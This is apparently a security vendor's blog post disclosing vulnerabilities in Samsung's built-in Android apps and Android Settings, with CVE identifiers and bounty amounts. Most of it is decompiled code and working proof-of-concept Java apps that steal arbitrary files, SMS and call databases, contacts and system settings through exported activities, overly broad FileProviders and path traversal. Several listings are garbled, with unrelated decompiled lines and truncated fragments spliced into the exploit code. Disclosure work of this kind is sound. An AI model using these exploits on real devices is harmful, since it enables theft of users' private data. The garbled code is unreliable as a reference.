

16 AUGUST 2021

Two weeks of securing Samsung devices: Part 2

As mentioned in the [first part](#) of this series, Oversecured spent two weeks finding security bugs in Samsung's built-in apps. In this part, we will go over bugs that could have allowed an attacker to:

- read & write arbitrary files in the name of the system
- read arbitrary telephone-related files from the Android user's phone, such as their call history and SMS/MMS
- read & modify the user's contact data
- steal the user's messages from the Samsung Messages app

Vulnerability table:

CVE	SVE	AFFECTED APP	DESCRIPTION	REWARD AMOUNT
CVE-2021-25426	SVE-2021-20903	Samsung Messages (com.samsung.android.messaging)	Theft of arbitrary files	\$1050
CVE-2021-25410	SVE-2021-20702	CallBGProvider (com.samsung.android.callbgprovider)	Read arbitrary files as system (UID 1001) user	\$2180
CVE-2021-25413	SVE-2021-20877	Samsung Contacts (com.samsung.android.app.contacts)	Gaining access to arbitrary* content providers	\$2250
CVE-2021-25414	SVE-2021-20879	Samsung Contacts (com.samsung.android.app.contacts)	Theft/overwrite of arbitrary files	\$2250
CVE-2021-25440	SVE-2021-20722	FactoryCameraFB (com.sec.factory.camera)	Read/write arbitrary files as system (UID 1000) user	\$10310

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File theft in Samsung Messages

After scanning the Samsung Messages app, we received an alert about the possibility for theft of arbitrary files:

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Found in file
com/samsung/android/messaging/ui/view/viewer/SmsViewerActivity.java

Found in file
com/samsung/android/messaging/common/util/CacheUtil.java

Found in file
com/samsung/android/messaging/ui/data/SmsViewerData.java

Found in file
com/samsung/android/messaging/ui/view/viewer/SmsViewerActivity.java

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Share message button.

To access arbitrary files, we used an unsafe content provider:

Insecure use of file paths in FileProvider

Found in file **AndroidManifest.xml**

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```
1253 <provider android:name="com.samsung.android.messaging.common.provider.MessagesFileProvider" android:exported="fa
1254 <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/filepaths"/>
1255 </provider>
```

Found in file **xml/filepaths.xml**

```
7 <root-path name="root-path" path=""/>
```

Found in file
com/samsung/android/messaging/ui/model/p642g/p645c/XmsMenuD

Proof of Concept:

```
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    String fileName = "evil.mp4";

    SmsViewerData data = new SmsViewerData();
    data.f25878w = Uri.parse("content://com.samsung.android.messaging.ui.file/root-path/data/data");
    data.f25879x = fileName;
    data.f25871p = 1;
    data.f25864i = 12;
    data.f25877v = "video/mp4";

    Intent i = new Intent();
    i.setClassName("com.samsung.android.messaging", "com.samsung.android.messaging.ui.view.viewer");
    i.putExtra("xms_viewer_data", data);
    startActivity(i);

    new Handler().postDelayed(() -> {
        String path = getExternalCacheDir().getAbsolutePath().replace(getPackageName(), "com.sams");
        dumpFile(new File(path, fileName).getAbsolutePath());
    }, 15000);
}

private void dumpFile(String path) {
    ContentValues values = new ContentValues();
    values.put("_data", path);
    Uri uri = getContentResolver().insert(MediaStore.Files.getContentUri("external"), values);

    try {
        Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(uri)));
    } catch (Throwable th) {
        Log.d("evil", "Error", th);
    }
}
```

Since the latest Android versions do not allow accessing external cache files, we made use of the `dumpFile` method to bypass this protection in our PoC.

File theft from UID 1001 in CallBGProvider

The `CallBGProvider` provider is declared with the permission

`com.samsung.android.callbgprovider.PERMISSION`, which is not properly protected:

com/samsung/android/messaging/ui/model/p642g/p645c/MessageSha

```
<permission android:name="com.samsung.android.callbgprovider.PERMISSION"/>
```

`@Byte(str.get`

```
248 }
249 str2 = str3;
250 if (str2 != null) {
251     str = str.substring(0, r);
252 }
253 }
```

Found in file
com/samsung/android/messaging/ui/model/p642g/p645c/MessageSha

If `android:permissionLevel` is not specifically set by the developer, it gets defined as `normal` by default — which would allow any third-party apps to access the resource.

Found in file `AndroidManifest.xml`

Mark as a false positive

Collapse



```

14 <provider android:name="com.samsung.android.callbgprovider.CallBGProvider" android:readPermission="com.samsung.and
15 <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/filepaths"/>
16 </provider>

```

Found in file `com/samsung/android/callbgprovider/CallBGProvider.java`

```

65 }
66
67 @Override // android.content.ContentProvider
68 public android.os.ParcelFileDescriptor openFile(@androidx.annotation.NonNull android.net.Uri uri, @androidx.annotation
69 java.io.File file;
70 android.util.Log.d("CallBGProvider", "openFile: uri: " + uri);
71 try {
72 java.io.File filesDir = getContext().getFilesDir();
73 java.lang.String path = uri.getPath();
74 if (path.contains("images/")) {
75 file = new java.io.File(filesDir, "images");
76 } else if (path.contains("videos/")) {
77 file = new java.io.File(filesDir, "videos");
78 } else {
79 file = path.contains("thumbnail/") ? new java.io.File(filesDir, "thumbnail") : null;
80 }
81 java.lang.String str2 = file.getPath() + "/" + uri.getLastPathSegment();
82 java.io.File file2 = new java.io.File(str2);
83 android.util.Log.d("CallBGProvider", "openFile: uri: path : " + str2);
84 return android.os.ParcelFileDescriptor.open(file2, 268435456);
85 } catch (java.io.FileNotFoundException e) {
86 e.printStackTrace();
87 return null;
88 }

```

The above provider is also vulnerable to path traversal due to the use of `Uri.getLastPathSegment()`, which automatically decodes the value.

Found in file `com/samsung/android/messaging/common/Util/CacheUtil.java`

```

127 // New WARNING: Code Inspector failed: mission block 0/140073, code test:
128 throw f2;
129 */

```

File `AndroidManifest.xml`.

```

130 android:static android.net.Uri copyToCache(android.content.Context context, android.net.Uri uri, java.lang.String str
131 at uri == null) {

```

```

<uses-permission android:name="com.samsung.android.callbgprovider.PERMISSION"/>

```

```

134 android.net.Uri copy = com.samsung.android.messaging.common.Util.CacheUtil.copy(openInputStream, str, file);

```

File `MainActivity.java`.

```

135 if (openInputStream != null) {
136 inputStream.close();
137 }

```

```

try {
    getContentResolver().call(Uri.parse("content://com.samsung.android.callbgprovider.media"), "g

    File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephon
    Uri uri = Uri.parse("content://com.samsung.android.callbgprovider.media/videos/..%2F..%2F..%2
    Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(uri)));
} catch (Throwable th) {
    throw new RuntimeException(th);
}

```



```

1381 java.io.File file2 = new java.io.File(file, str);

```

The code in `CallBGProvider.call(...)` helps create directories like `videos`, `images`, etc., which don't exist by default. Therefore, it wasn't present in our PoC, then calling `ParcelFileDescriptor.open(...)` would have thrown a `FileNotFoundException` error.

File theft and writing to Samsung Contacts

The activity `com.samsung.android.contacts.editor.SetProfilePhotoActivity` in the Samsung Contacts app is exported. Moreover, it also accepts two attacker-controlled URIs:

1. `shared_photo_uri` for getting content
 2. `temp_photo_uri` for saving content
- ```

664 return sb;
665 }
666 static java.lang.String normalizeFileName(java.lang.String str) {
667 return str.replaceAll("[<?>|\"|'","");
668 }
669 }
670
671 public static java.lang.String normalizeMmsPartFileName(java.lang.String str) {

```

Found in file **AndroidManifest.xml** Mark as a false positive[Collapse](#)

```

555 <activity android:theme="@style/BackgroundOnlyTheme" android:label="@string/share_my_profile" android:icon="@mipmap/ic_launcher"
556 <intent-filter>
557 <action android:name="android.intent.action.SEND"/>
558 <data android:mimeType="image/*"/>
559 <category android:name="android.intent.category.DEFAULT"/>
560 </intent-filter>
561 <intent-filter>
562 <action android:name="com.samsung.contacts.action.SET_AS_PROFILE_PICTURE"/>
563 <data android:mimeType="image/*"/>
564 <category android:name="android.intent.category.DEFAULT"/>
565 </intent-filter>
566 </activity>

```

Found in file  
**com/samsung/android/contacts/editor/SetProfilePhotoActivity.java**

```

164
165 private void w8(android.os.Bundle bundle) {
166 if (bundle == null || !bundle.containsKey("temp_photo_uri") || !bundle.containsKey("cropped_photo_uri")) {
167 java.lang.String stringExtra = getIntent().getStringExtra("temp_photo_uri");
168 java.lang.String stringExtra2 = getIntent().getStringExtra("cropped_photo_uri");
169 if (stringExtra != null && stringExtra2 != null) {
170 this.f14384w = android.net.Uri.parse(stringExtra);
171 this.f14385x = android.net.Uri.parse(stringExtra2);
172 return;
173 }

```

Found in file  
**com/samsung/android/contacts/editor/SetProfilePhotoActivity.java**

```

43 /* renamed from: b */
44 private void m13805b(com.samsung.android.contacts.editor.SetProfilePhotoActivity setProfilePhotoActivity) {
45 android.net.Uri uri;
46 android.content.ClipData clipData = setProfilePhotoActivity.getIntent().getClipData();
47 if (clipData == null || clipData.getItemCount() != 1 || clipData.getItemAt(0) == null) {
48 uri = null;
49 } else {
50 uri = clipData.getItemAt(0).getUri();
51 if (!m13806d(setProfilePhotoActivity, uri)) {
52 return;
53 }
54 }
55 if (uri == null) {
56 if (setProfilePhotoActivity.getIntent().getExtras() == null || setProfilePhotoActivity.getIntent().getExtras().get("shared_photo_uri") == null) {
57 setProfilePhotoActivity.finish();
58 return;
59 }
60 uri = android.net.Uri.parse(setProfilePhotoActivity.getIntent().getExtras().getString("shared_photo_uri"));
61 }
62 try {
63 com.samsung.android.contacts.editor.p341n.PhotoDataUtils.m14120Q(uri, setProfilePhotoActivity.f14384w, false);
64 if (this.f14389b == null) {
65 this.f14389b = setProfilePhotoActivity.f14383v.m013912D(uri);
66 }

```

Found in file  
**com/samsung/android/contacts/editor/p341n/PhotoDataUtils.java**

```

71 }
72
73 /* renamed from: Q */
74 public static boolean m14120Q(android.net.Uri uri, android.net.Uri uri2, boolean z) {
75 m14122a();
76 return f14625a.m14146R(uri, uri2, z);
77 }
78
79 /* renamed from: S */

```

Found in file  
**com/samsung/android/contacts/editor/p341n/PhotoDataUtils.java**

```

448 throw r5;
449 /*
450 /* renamed from: R */
451 public boolean m14146R(android.net.Uri uri, android.net.Uri uri2, boolean z) {
452 if (uri == null || uri2 == null || m14117L(uri)) {
453 com.samsung.android.dialtacts.util.AppLog.m20396l("PhotoDataUtils", "can not save image " + uri + " " + uri2);
454 return false;
455 }
456 android.content.Context a = com.samsung.android.dialtacts.util.ApplicationUtil.m20405a();
457 try {
458 com.samsung.android.dialtacts.util.AppLog.m20396l("PhotoDataUtils", "can not save image " + uri + " " + uri2);

```

arbitrary files specified in the path section of the URI.

### Proof of Concept for file theft.

File AndroidManifest.xml :

```
<provider android:name=".MyContentProvider" android:authorities="oversecured.evil" android:ex
```

File MainActivity.java

```

556 <intent-filter>
557 <action android:name="android.intent.action.SEND"/>
558 <data android:mimeType="image/*"/>

String path = new File(getApplicationInfo().dataDir, "dump").getAbsolutePath();
String theft = "/data/data/com.samsung.android.app.contacts/shared_prefs/SamsungAnalyticsPrefs.xml";

Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoActivity");
i.putExtra("shared_photo_uri", "content://com.samsung.contacts.backup" + theft); // input
i.putExtra("temp_photo_uri", "content://oversecured.evil/?path=" + path); // output
i.putExtra("cropped_photo_uri", "");
i.putExtra("mimeType", "x");
startActivity(i);

new Handler().postDelayed(() -> {
 try {
 Log.d("evil", IOUtils.toString(new FileInputStream(path)));
 } catch (Throwable th) {
 throw new RuntimeException(th);
 }
}, 1000);

```

File MyContentProvider.java

```

public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
 try {
 return ParcelFileDescriptor.open(new File(uri.getQueryParameter("path")), ParcelFileDescriptor.MODE_READ_ONLY);
 } catch (Throwable th) {
 return null;
 }
}

```

### Accessing arbitrary Content Providers in Samsung Contacts

This attack uses the same activity (com.samsung.android.contacts.editor.SetProfilePhotoActivity) as the previous vulnerability.

The flow of this attack looks like this.


1. An invalid URI is specified by an attacker in temp\_photo\_uri
2. The app automatically launches an implicit intent with the Intent.FLAG\_GRANT\_READ\_URI\_PERMISSION & Intent.FLAG\_GRANT\_WRITE\_URI\_PERMISSION flags
3. The attacker-controlled value in cropped\_photo\_uri is passed to the Intent's ClipData.

```

71 }
72
73 /* renamed from: Q */
74 public static boolean m14120Q(android.net.Uri uri, android.net.Uri uri2, boolean z) {
75 m14122a();
76 return f14625a.m14146R(uri, uri2, z);
77 }
78
79 /* renamed from: S */

```

Found in file  
com/samsung/android/contacts/editor/p341n/PhotoDataUtils.java

Found in file **AndroidManifest.xml** Mark as a false positive Collapse

```

555 <activity android:theme="@style/BackgroundOnlyTheme" android:label="@string/share_my_profile" android:icon="@mipmap
556 <intent-filter>
557 <action android:name="android.intent.action.SEND"/>
558 <data android:mimeType="image/*"/>
559 <category android:name="android.intent.category.DEFAULT"/>
560 </intent-filter>
561 <intent-filter>
562 <action android:name="com.samsung.contacts.action.SET_AS_PROFILE_PICTURE"/>
563 <data android:mimeType="image/*"/>
564 <category android:name="android.intent.category.DEFAULT"/>
565 </intent-filter>
566 </activity>

```

Found in file  
**com/samsung/android/contacts/editor/SetProfilePhotoActivity.java**

```

43 /* renamed from: b */
44 private void m13805b(com.samsung.android.contacts.editor.SetProfilePhotoActivity setProfilePhotoActivity) {
45 android.net.Uri uri;
46 android.content.ClipData clipData = setProfilePhotoActivity.getIntent().getClipData();
47 if (clipData == null || clipData.getItemCount() != 1 || clipData.getItemAt(0) == null) {
48 uri = null;
49 } else {
50 uri = clipData.getItemAt(0).getUri();
51 if (!m13806d(setProfilePhotoActivity, uri)) {
52 return;
53 }
54 }

```

Found in file  
**com/samsung/android/contacts/editor/SetProfilePhotoActivity.java**

```

164
165 private void w8(android.os.Bundle bundle) {
166 if (bundle == null || !bundle.containsKey("temp_photo_uri") || !bundle.containsKey("cropped_photo_uri")) {
167 java.lang.String stringExtra = getIntent().getStringExtra("temp_photo_uri");
168 java.lang.String stringExtra2 = getIntent().getStringExtra("cropped_photo_uri");
169 if (stringExtra != null && stringExtra2 != null) {
170 this.f14384w = android.net.Uri.parse(stringExtra);
171 this.f14385x = android.net.Uri.parse(stringExtra2);
172 return;
173 }

```

Found in file  
**com/samsung/android/contacts/editor/SetProfilePhotoActivity.java**

```

112 public void onPostExecute(java.lang.Void r4) {
113 com.samsung.android.contacts.editor.SetProfilePhotoActivity setProfilePhotoActivity = this.f14388a.get();
114 if (setProfilePhotoActivity != null) {
115 android.content.Intent intent = new android.content.Intent("com.android.camera.action.CROP", setProfilePhotoActivity);
116 java.lang.String stringExtra = setProfilePhotoActivity.getIntent().getStringExtra("mimeType");
117 java.lang.String type = setProfilePhotoActivity.getIntent().getType();
118 if (stringExtra != null) {
119 intent.setDataAndType(setProfilePhotoActivity.f14384w, stringExtra);
120 } else if (type != null) {
121 intent.setDataAndType(setProfilePhotoActivity.f14384w, type);
122 } else if (!android.text.TextUtils.isEmpty(this.f14389b) && this.f14389b.contains("gif")) {
123 intent.setDataAndType(setProfilePhotoActivity.f14384w, "image/gif");
124 }
125 com.samsung.android.contacts.editor.p347o.AbstractC3332j.m14300c(intent, setProfilePhotoActivity.f14385x,
126 com.samsung.android.contacts.editor.p347o.AbstractC3332j.m14299b(intent, this.f14391d);
127 if (setProfilePhotoActivity.f14383v.o4(intent)) {
128 setProfilePhotoActivity.startActivityForResult(intent, 1);
129 } else {
130 setProfilePhotoActivity.u8();
131 }

```

Found in file  
**com/samsung/android/contacts/editor/SetProfilePhotoActivity.java**

```

74 }
75
76 /* renamed from: d */
77 private boolean m13806d(com.samsung.android.contacts.editor.SetProfilePhotoActivity setProfilePhotoActivity, android
78 if (setProfilePhotoActivity.f14384w == null && setProfilePhotoActivity.f14385x == null && uri != null) {
79 try {
80 java.lang.String D = setProfilePhotoActivity.f14383v.mo13912D(uri);
81 this.f14389b = D;
82 setProfilePhotoActivity.f14384w = com.samsung.android.contacts.editor.p341n.PhotoDataUtils.m14129m(D,
83 setProfilePhotoActivity.f14385x = com.samsung.android.contacts.editor.p341n.PhotoDataUtils.m14129m(this
84 } catch (java.lang.SecurityException e) {
85 com.samsung.android.dialtacts.util.AppLog.m20396l("SetProfilePhotoActivity", "setPhotoUri, SecurityEx

```

**Proof of Concept for reading a complete contact list.**

```

41
42 @Override // com.samsung.android.contacts.editor.commoninterface.SetProfilePhotoContract
File AndroidManifest.xml

```

```

<activity android:name=".PickerActivity">
 <intent-filter android:autoVerify="true" android:priority="999999999">
 <action android:name="com.android.camera.action.CROP" />
 <category android:name="android.intent.category.DEFAULT" />
 <data android:mimeType="*/*" />
 <data android:mimeType="image/*" />
 <data android:mimeType="test/1337" />
 </intent-filter>
</activity>

```

```

193 com.samsung.android.dialtacts.util.AppLog.m20396("PhotoModel", "getImageTitleFromMediaDB result : " + a);
194 return a;
File MainActivity.java:

```

```

Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoContract");
i.putExtra("temp_photo_uri", "/");
i.putExtra("cropped_photo_uri", ContactsContract.CommonDataKinds.Phone.CONTENT_URI.toString());
i.putExtra("mimeType", "test/1337");
startActivity(i);

```

```

547 try {
548 android.database.Cursor query = this.f10092a.query(uri, new java.lang.String[]{"_display_name"}, null, null,
File PickerActivity.java:
549 // query != null {
550 // // from: SetProfilePhotoContract
551 // }
552 } catch (Exception e) {
553 //
554 }
555 protected void onCreate(Bundle savedInstanceState) {
556 super.onCreate(savedInstanceState);
557
558 if ("com.android.camera.action.CROP".equals(getIntent().getAction())) {
559 dump(getIntent().getClipData().getItemAt(0).getUri());
560 }
561
562 finish();
563 }
564
565 public void dump(Uri uri) {
566 Cursor cursor = getContentResolver().query(uri, null, null, null, null);
567 if (cursor.moveToFirst()) {
568 do {
569 StringBuilder sb = new StringBuilder();
570 for (int i = 0; i < cursor.getColumnCount(); i++) {
571 if (sb.length() > 0) {
572 sb.append(", ");
573 }
574 sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
575 }
576 Log.d("evil", sb.toString());
577 } while (cursor.moveToNext());
578 }
579 }
580 }
581 }

```

**File theft and write from UID 1000 in FactoryCameraFB**

com/samsung/android/contacts/editor/p341n/PhotoDataUtils.java

```

386
387 /* access modifiers changed from: package-private */
388 /* renamed from: N */
389 public java.lang.String m14144N(java.lang.String str) {
390 java.io.File cacheDir = com.samsung.android.dialtacts.util.ApplicationUtil.m20405a().getCacheDir();
391 if (cacheDir != null) {
392 cacheDir.mkdirs();
393 }
394 return new java.io.File(cacheDir, str).getAbsolutePath();
395 }
396
397 /* renamed from: P */

```

Found in file  
com/samsung/android/contacts/editor/p341n/PhotoDataUtils.java

```

560
561 /* access modifiers changed from: package-private */
562 /* renamed from: l */
563 public java.lang.String m14152L(java.lang.String str, java.lang.String str2) {

```



Found in file **AndroidManifest.xml**☐ Mark as a false positive[Collapse](#)

```

37 <activity android:theme="@style/res_2131755016_apptheme_noactionbar" android:label="@string/app_name" android:name="
38 <intent-filter>
39 <action android:name="android.intent.action.MAIN"/>
40 </intent-filter>
41 </activity>

```

Found in file **com/sec/android/app/camera/CameraTestActivity.java**

```

228 e2.printStackTrace();
229 }
230 }
231 this.mIncomingIntent = getIntent();
232 }
233
234 /* access modifiers changed from: protected */

```

Found in file **com/sec/android/app/camera/CameraTestActivity.java**

```

117 public void sendResultAndFinish(int i, java.lang.String str) {
118 android.util.Log.i("FACAM/CamTestActivity", "sendResultAndFinish : " + i + ", " + str);
119 sendResult(i, str);
120 setResult(i, this.mIncomingIntent);
121 finish();
122 }
123
124 java.lang.String getCanonicalPath(java.io.File file) {
125 try {
126 java.lang.String canonicalPath = file.getCanonicalPath();
127 java.util.Map.Entry<java.lang.String, java.io.File> entry = null;
128 java.util.Map.Entry<java.lang.String, java.io.File> entry2 = this.f484b.entrySet().entrySet().iterator().next();
129 java.lang.String path = entry2.getValue().getPath();
130 if (canonicalPath.startsWith(path) && (entry == null || path.length() > entry.getValue().getPath().length())) {
131 canonicalPath = entry2.getValue().getPath();
132 }
133 return canonicalPath;
134 } catch (IOException e) {
135 return null;
136 }
137 }
138 }

```

It should be noted that this app has a property called `android:sharedUserId="android.uid.system"`, which makes it a system application.

As described in the vulnerability in Android Settings, we used a content provider in the app, which provided access to arbitrary files:

#### Insecure use of file paths in FileProvider

Found in file **AndroidManifest.xml**☐ Mark as a false positive[Collapse](#)

```

508 <provider android:name="android.support.v4.content.FileProvider" android:exported="false" android:authorities="com.sec.imsservice.provider.v4"
509 <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/imfilepath"/>
510 </provider>

```

Found in file **xml/imfilepath.xml**

```

3 <root-path name="root" path="."/>

```

Found in file **com/samsung/android/contacts/editor/p347o/AbstractC3332.java**

```

26 public static void m14300c(android.content.Intent intent, android.net.Uri uri, int i) {
27 intent.putExtra("output", uri);
28 }

```

For testing, we used the file `/data/system/users/0/settings_secure.xml` (which has these permissions: `-rw-r--r--` system system).

**Proof of Concept:** as a result of which the content of the file was printed to the logs.

```

protected void onCreate(Bundle savedInstanceState) {
 super.onCreate(savedInstanceState);

 Intent i = new Intent();
 i.setData(Uri.parse("content://com.sec.internal.ims.rcs.fileprovider/root/data/system/users/0/settings_secure.xml"));
 i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
 i.setClassName("com.sec.factory.camera", "com.sec.android.app.camera.CameraTestActivity");
 i.putExtra("testtype", "NCAMTEST");
 i.putExtra("arg1", "0");
 i.putExtra("arg2", "1");
 i.putExtra("arg3", "2");
 i.putExtra("arg4", "0");
 startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
 super.onActivityResult(requestCode, resultCode, data);

 try {
 Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(data.getData())));
 } catch (Throwable th) {
 throw new RuntimeException(th);
 }
}

```

In [the previous article](#), we published information about a vulnerability in Android Settings for which we received a \$2,000 award from Google AOSP.

The activity `com.android.settings.wifi.WifiDialogActivity` is exported (however, it requests the sender to have `android.permission.CHANGE_WIFI_STATE` permission). When a user clicks on the QR code scan icon, it launches an implicit intent and passes its activity result to its own `setResult(code, attacker_controlled_intent)`.

**Proof of Concept** to access any system files on Samsung devices.

File `AndroidManifest.xml` :

```
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />

<activity android:name=".PickerActivity">
 <intent-filter android:autoVerify="true" android:priority="999">
 <action android:name="android.settings.WIFI_DPP_ENROLLEE_QR_CODE_SCANNER" />
 <category android:name="android.intent.category.DEFAULT" />
 </intent-filter>
</activity>
```

File `MainActivity.java` :

```
protected void onCreate(Bundle savedInstanceState) {
 super.onCreate(savedInstanceState);

 Intent i = new Intent();
 i.setClassName("com.android.settings", "com.android.settings.wifi.WifiDialogActivity");
 startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
 super.onActivityResult(requestCode, resultCode, data);

 try {
 Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(data.getData())));
 } catch (Throwable th) {
 throw new RuntimeException(th);
 }
}
```

File `PickerActivity.java` :

```
protected void onCreate(Bundle savedInstanceState) {
 super.onCreate(savedInstanceState);

 Intent i = new Intent("evil");
 i.setData(Uri.parse("content://com.sec.internal.ims.rcs.fileprovider/root/data/system/users/0"));
 i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
 setResult(-1, i);
 finish();
}
```



## Preventing these vulnerabilities

It could be challenging to keep track of security, especially in large projects. You can use Oversecured vulnerability scanner since it tracks all known security issues on Android and iOS including all the vectors mentioned above. To begin testing your apps, use [Quick Start](#), [book a call](#) or [contact us](#).



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